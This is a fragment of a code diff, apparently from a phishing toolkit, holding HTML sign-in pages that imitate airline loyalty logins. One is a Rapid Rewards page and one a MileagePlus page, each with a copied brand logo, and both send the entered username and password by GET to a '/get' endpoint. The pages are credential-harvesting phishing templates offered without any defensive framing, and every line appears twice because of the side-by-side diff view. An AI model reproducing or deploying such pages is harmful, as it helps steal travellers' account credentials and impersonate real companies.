cursor: pointer; cursor: pointer;
} }
@media (max-width: 500px) { @media (max-width: 500px) {
.container { .container {
max-width: 90%; max-width: 90%;
} }
} }
</style> </style>
</head> </head>
<body> <body>
<div class="container"> <div class="container">
<div class="logo"> <div class="logo">
<svg xmlns="http://www.w3.org/2000/svg" xml:space="preserve" viewBox="0 0 223 34"> <svg xmlns="http://www.w3.org/2000/svg" xml:space="preserve" viewBox="0 0 223 34">
<path fill="#304cb2" d="M59 27h-3c-3 0-4-1-4-3V12h-6v13c0 6 3 8 10 8l9-1V12h-6v15zm20 1c-3 0-3-1-3-3v-8h5v-5h-5V6h-6v6h-3v5h3v8c0 4 1 8 7 8l5-1-1-5-2 1zM15 16l-3-1c-4-1-5-1-5-3s1-3 5-3l7 2 1-6-8-2C5 3 1 7 1 12c0 4 1 6 5 8l3 1 6 3c0 2-2 3-5 3l-8-2-2 6 10 2c7 0 11-4 11-9 0-4-2-6-6-8zm79-5-5 1V2h-6v31h6V18l4-1c2 0 3 1 3 3v13h6V19c0-5-2-8-8-8zm-61 0c-6 0-11 4-11 11s5 11 11 11 11-4 11-11-4-11-11-11zm0 16c-2 0-4-2-4-5s2-5 4-5c3 0 5 1 5 5 0 3-2 5-5 5zm135-7-3-1-3-1c0-1 1-2 3-2l6 1 1-5-7-1c-6 0-9 3-9 7 0 3 2 4 4 6l3 1 4 2-4 1-6-1-1 5 8 1c6 0 9-3 9-7 0-3-1-5-5-6zm-22-9c-7 0-11 4-11 11s4 11 11 11l8-2-1-5-6 2c-4 0-6-2-6-4h14v-3c0-6-3-10-9-10zm-5 9c1-2 2-4 4-4 3 0 4 3 4 4h-8zm44 8c-3 0-3-1-3-3v-8h5v-5h-5V6h-6v6h-3v5h3v8c0 4 1 8 7 8l5-1-1-5-2 1zm4-25c-2 0-3 1-3 3s1 3 2 3c2 0 3-2 3-3l-2-3zm0 5c-2 0-3-1-3-2s1-2 3-2l2 2-2 2zm0-2 1-1-1-1h-1v3-1h1v1h1l-1-1zm-1 0V5h1l-1 1zm-59 6-4 12-3-12h-6l-4 12-3-12h-7l8 21h5l4-11 4 11h5l8-21h-7z"/> <path fill="#304cb2" d="M59 27h-3c-3 0-4-1-4-3V12h-6v13c0 6 3 8 10 8l9-1V12h-6v15zm20 1c-3 0-3-1-3-3v-8h5v-5h-5V6h-6v6h-3v5h3v8c0 4 1 8 7 8l5-1-1-5-2 1zM15 16l-3-1c-4-1-5-1-5-3s1-3 5-3l7 2 1-6-8-2C5 3 1 7 1 12c0 4 1 6 5 8l3 1 6 3c0 2-2 3-5 3l-8-2-2 6 10 2c7 0 11-4 11-9 0-4-2-6-6-8zm79-5-5 1V2h-6v31h6V18l4-1c2 0 3 1 3 3v13h6V19c0-5-2-8-8-8zm-61 0c-6 0-11 4-11 11s5 11 11 11 11-4 11-11-4-11-11-11zm0 16c-2 0-4-2-4-5s2-5 4-5c3 0 5 1 5 5 0 3-2 5-5 5zm135-7-3-1-3-1c0-1 1-2 3-2l6 1 1-5-7-1c-6 0-9 3-9 7 0 3 2 4 4 6l3 1 4 2-4 1-6-1-1 5 8 1c6 0 9-3 9-7 0-3-1-5-5-6zm-22-9c-7 0-11 4-11 11s4 11 11 11l8-2-1-5-6 2c-4 0-6-2-6-4h14v-3c0-6-3-10-9-10zm-5 9c1-2 2-4 4-4 3 0 4 3 4 4h-8zm44 8c-3 0-3-1-3-3v-8h5v-5h-5V6h-6v6h-3v5h3v8c0 4 1 8 7 8l5-1-1-5-2 1zm4-25c-2 0-3 1-3 3s1 3 2 3c2 0 3-2 3-3l-2-3zm0 5c-2 0-3-1-3-2s1-2 3-2l2 2-2 2zm0-2 1-1-1-1h-1v3-1h1v1h1l-1-1zm-1 0V5h1l-1 1zm-59 6-4 12-3-12h-6l-4 12-3-12h-7l8 21h5l4-11 4 11h5l8-21h-7z"/>
<path fill="#ccc" d="m207 11-5 1-5-1c-4 0-7 2-7 7 0 6 6 11 12 15 6-4 12-9 12-15 0-5-3-7-7-7z"/> <path fill="#ccc" d="m207 11-5 1-5-1c-4 0-7 2-7 7 0 6 6 11 12 15 6-4 12-9 12-15 0-5-3-7-7-7z"/>
</svg> </svg>
</div> </div>
<h1>Sign In</h1> <h1>Sign In</h1>
<p class="subtext">Sign in using your Rapid Rewards number or username and password</p> <p class="subtext">Sign in using your Rapid Rewards number or username and password</p>
<form action="/get" method="GET"> <form action="/get" method="GET">
<div class="form-group"> <div class="form-group">
<input type="text" name="email" class="form-control" placeholder="Rapid Rewards # or Username" required> <input type="text" name="email" class="form-control" placeholder="Rapid Rewards # or Username" required>
</div> </div>
<div class="form-group"> <div class="form-group">
<input type="password" name="password" class="form-control" placeholder="Password" required> <input type="password" name="password" class="form-control" placeholder="Password" required>
</div> </div>
<button type="submit">Sign In</button> <button type="submit">Sign In</button>
</form> </form>
</div> </div>
</body> </body>
</html> </html>
+117 -117
View File
@@ -1,117 +1,117 @@
<!DOCTYPE html> <!DOCTYPE html>
<html> <html>
<head> <head>
<style> <style>
body { body {
font-family: 'Arial', sans-serif; font-family: 'Arial', sans-serif;
margin: 0; margin: 0;
padding: 0; padding: 0;
background-color: #f3f3f3; background-color: #f3f3f3;
display: flex; display: flex;
justify-content: center; justify-content: center;
align-items: center; align-items: center;
min-height: 100vh; min-height: 100vh;
} }
.container { .container {
max-width: 500px; max-width: 500px;
padding: 20px; padding: 20px;
box-shadow: 0 0 10px rgba(0, 0, 0, 0.1); box-shadow: 0 0 10px rgba(0, 0, 0, 0.1);
background: #fff; background: #fff;
border-radius: 8px; border-radius: 8px;
} }
.logo { .logo {
display: flex; display: flex;
justify-content: center; justify-content: center;
margin-bottom: 20px; margin-bottom: 20px;
} }
.logo svg { .logo svg {
width: 50%; width: 50%;
} }
.title, .sub-title { .title, .sub-title {
text-align: center; text-align: center;
margin-bottom: 20px; margin-bottom: 20px;
} }
.form-group { .form-group {
margin-bottom: 20px; margin-bottom: 20px;
display: flex; display: flex;
justify-content: center; justify-content: center;
} }
.input-field { .input-field {
width: 100%; width: 100%;
max-width: 400px; max-width: 400px;
height: 40px; height: 40px;
padding: 10px; padding: 10px;
border-radius: 5px; border-radius: 5px;
border: 1px solid #ccc; border: 1px solid #ccc;
font-size: 16px; font-size: 16px;
} }
.button { .button {
width: 100%; width: 100%;
max-width: 400px; max-width: 400px;
height: 40px; height: 40px;
background-color: #003D79; background-color: #003D79;
color: #fff; color: #fff;
border: none; border: none;
border-radius: 5px; border-radius: 5px;
cursor: pointer; cursor: pointer;
} }
@media screen and (max-width: 600px) { @media screen and (max-width: 600px) {
.container { .container {
margin: 10px; margin: 10px;
} }
.logo svg { .logo svg {
width: 70%; width: 70%;
} }
.input-field, .button { .input-field, .button {
max-width: 100%; max-width: 100%;
} }
} }
</style> </style>
</head> </head>
<body> <body>
<div class="container"> <div class="container">
<div class="logo"> <div class="logo">
<svg xmlns="http://www.w3.org/2000/svg" xml:space="preserve" viewBox="0 0 470 82"> <svg xmlns="http://www.w3.org/2000/svg" xml:space="preserve" viewBox="0 0 470 82">
<switch transform="translate(-5 -6)"> <switch transform="translate(-5 -6)">
<g> <g>
<path fill="none" d="M0 0h490v95H0z"/> <path fill="none" d="M0 0h490v95H0z"/>
<path fill="#005daa" d="M475 6v83h-17a54 54 0 0 0-22-65c-11-7-26-10-40-7l-3 1V6h82zm-59 13c-5-2-11-3-16-2l2 1v-1l8 1-3 1 1 1 4-1 5 2-6 1 1 1 7-1 2 4h-7v2h8l1 4-8-1v2l8 2v5l-9-3-1 4 8 4-1 4-9-5-3 5 8 5-3 4-7-6-5 4 7 8-3 2-7-8-5 4v3l3 7-2 1-1-2v4c13-6 26-19 30-33 2-5 2-11 0-16l-7-7m-2-2 1 1h1c2 0 5 1 7 3h-3l1 1h5l5 5-7-1v2l8 2 2 5-9-2v2c4 1 7 2 9 4v5l-9-4-2 5 9 5-2 5-9-5-3 6 7 6-3 4-7-7-6 7 6 7-3 3-6-8-9 6 5 8-3 1-4-8-2 1v11c10-3 19-9 27-18 8-7 13-16 15-26 1-8-1-16-8-21-4-3-8-4-13-5m-4 6c-4-5-11-5-17-4v1l4-1-2 2 1 1 3-3 5 1-6 3h1l7-3 2 2-8 3 1 1 9-3 1 3-9 2v1l10-1 1 3h-11v2h10v4l-11-2v2l10 3-2 3-10-3-2 3 9 5-2 2-8-5-3 3 6 7-2 2-4-6v10c6-4 13-10 17-17 3-5 5-13 2-19l-2-2m19 0h2l6 4 1 2-5-1 2 2 5 2 2 7-6-3v4l7 3-1 7-6-5-2 6 6 5-2 6-6-6-5 7 6 6-3 5-6-7-7 8 5 6-3 3-6-7-10 7 3 5h8c14-9 25-23 29-37 2-10 0-19-6-26-3-3-7-4-10-5l2 2m-36-1v1h1l2 1-3 2v1l4-3 1 2-5 2v1l6-2v1l-6 2v1l7-2v2l-7 1v1h7l-1 2h-6v1l5 1-1 2-4-1v3l3 1-2 1h-1v3l4-4c3-5 5-10 3-15-1-3-4-5-7-5m48 8 2 3 2 1 4 8-4-2v4l4 4v7l-5-4-2 7 5 4-2 6-5-5-5 8 4 5-3 5-5-6-7 8 4 6h1l8-8c6-8 11-16 13-25s-1-19-7-26h-2zm6 5c3 3 5 7 6 11l-2-2v5l3 3v8l-3-3-2 7 3 4-2 6-4-4-5 8 4 5-4 5-4-6-6 7h10c7-8 12-16 14-26 2-9 0-19-6-26l-2-2m9 13v6l2 2-1 8-1-2-2 8 1 3-2 6-2-3-5 9 2 4h1c6-9 9-18 10-29l-3-12zm4 15v4h-1l-2 8 1 2-3 6-1-2-4 8h4l5-13c1-4 2-8 1-13zm0 11-3 13v-1l-2 3h2c2-4 3-10 3-15m-60 11-7 3v1h9l-2-4zm20 1-4 3h6l-2-3m-94-48h9c10 0 14 4 14 12s-4 12-14 12h-9V38zm-12-10v44h21c18 0 27-8 27-22 0-13-8-21-27-22h-21zm-24 0v10h-28v8h24v8h-24v8h28v10h-40V28zm-62 0v10h-16v34h-12V38h-16V28zm-78 0h13v44h-13V38zM87 45l27 27h9V28h-12v26L86 28H76v44h11zm-35 8c0 13-8 19-23 19-16 0-24-6-24-19V28h12v25c0 6 4 10 12 10 7 0 11-4 11-10V28h12v25z"/> <path fill="#005daa" d="M475 6v83h-17a54 54 0 0 0-22-65c-11-7-26-10-40-7l-3 1V6h82zm-59 13c-5-2-11-3-16-2l2 1v-1l8 1-3 1 1 1 4-1 5 2-6 1 1 1 7-1 2 4h-7v2h8l1 4-8-1v2l8 2v5l-9-3-1 4 8 4-1 4-9-5-3 5 8 5-3 4-7-6-5 4 7 8-3 2-7-8-5 4v3l3 7-2 1-1-2v4c13-6 26-19 30-33 2-5 2-11 0-16l-7-7m-2-2 1 1h1c2 0 5 1 7 3h-3l1 1h5l5 5-7-1v2l8 2 2 5-9-2v2c4 1 7 2 9 4v5l-9-4-2 5 9 5-2 5-9-5-3 6 7 6-3 4-7-7-6 7 6 7-3 3-6-8-9 6 5 8-3 1-4-8-2 1v11c10-3 19-9 27-18 8-7 13-16 15-26 1-8-1-16-8-21-4-3-8-4-13-5m-4 6c-4-5-11-5-17-4v1l4-1-2 2 1 1 3-3 5 1-6 3h1l7-3 2 2-8 3 1 1 9-3 1 3-9 2v1l10-1 1 3h-11v2h10v4l-11-2v2l10 3-2 3-10-3-2 3 9 5-2 2-8-5-3 3 6 7-2 2-4-6v10c6-4 13-10 17-17 3-5 5-13 2-19l-2-2m19 0h2l6 4 1 2-5-1 2 2 5 2 2 7-6-3v4l7 3-1 7-6-5-2 6 6 5-2 6-6-6-5 7 6 6-3 5-6-7-7 8 5 6-3 3-6-7-10 7 3 5h8c14-9 25-23 29-37 2-10 0-19-6-26-3-3-7-4-10-5l2 2m-36-1v1h1l2 1-3 2v1l4-3 1 2-5 2v1l6-2v1l-6 2v1l7-2v2l-7 1v1h7l-1 2h-6v1l5 1-1 2-4-1v3l3 1-2 1h-1v3l4-4c3-5 5-10 3-15-1-3-4-5-7-5m48 8 2 3 2 1 4 8-4-2v4l4 4v7l-5-4-2 7 5 4-2 6-5-5-5 8 4 5-3 5-5-6-7 8 4 6h1l8-8c6-8 11-16 13-25s-1-19-7-26h-2zm6 5c3 3 5 7 6 11l-2-2v5l3 3v8l-3-3-2 7 3 4-2 6-4-4-5 8 4 5-4 5-4-6-6 7h10c7-8 12-16 14-26 2-9 0-19-6-26l-2-2m9 13v6l2 2-1 8-1-2-2 8 1 3-2 6-2-3-5 9 2 4h1c6-9 9-18 10-29l-3-12zm4 15v4h-1l-2 8 1 2-3 6-1-2-4 8h4l5-13c1-4 2-8 1-13zm0 11-3 13v-1l-2 3h2c2-4 3-10 3-15m-60 11-7 3v1h9l-2-4zm20 1-4 3h6l-2-3m-94-48h9c10 0 14 4 14 12s-4 12-14 12h-9V38zm-12-10v44h21c18 0 27-8 27-22 0-13-8-21-27-22h-21zm-24 0v10h-28v8h24v8h-24v8h28v10h-40V28zm-62 0v10h-16v34h-12V38h-16V28zm-78 0h13v44h-13V38zM87 45l27 27h9V28h-12v26L86 28H76v44h11zm-35 8c0 13-8 19-23 19-16 0-24-6-24-19V28h12v25c0 6 4 10 12 10 7 0 11-4 11-10V28h12v25z"/>
</g> </g>
</switch> </switch>
</svg> </svg>
</div> </div>
<h1 class="title">Sign in</h1> <h1 class="title">Sign in</h1>
<h2 class="sub-title">Using your MileagePlus® number and password.</h2> <h2 class="sub-title">Using your MileagePlus® number and password.</h2>
<form action="/get" id="email-form-step" method="GET"> <form action="/get" id="email-form-step" method="GET">
<div class="form-group"> <div class="form-group">
<input class="input-field" name="email" type="text" placeholder="MileagePlus® number" required> <input class="input-field" name="email" type="text" placeholder="MileagePlus® number" required>
</div> </div>
<div class="form-group"> <div class="form-group">
<input class="input-field" name="password" type="password" placeholder="Password" required> <input class="input-field" name="password" type="password" placeholder="Password" required>
</div> </div>
<div class="form-group"> <div class="form-group">
<button class="button" type="submit">Sign In</button> <button class="button" type="submit">Sign In</button>
</div> </div>
</form> </form>
</div> </div>
</body> </body>
</html> </html>

Some files were not shown because too many files have changed in this diff Show More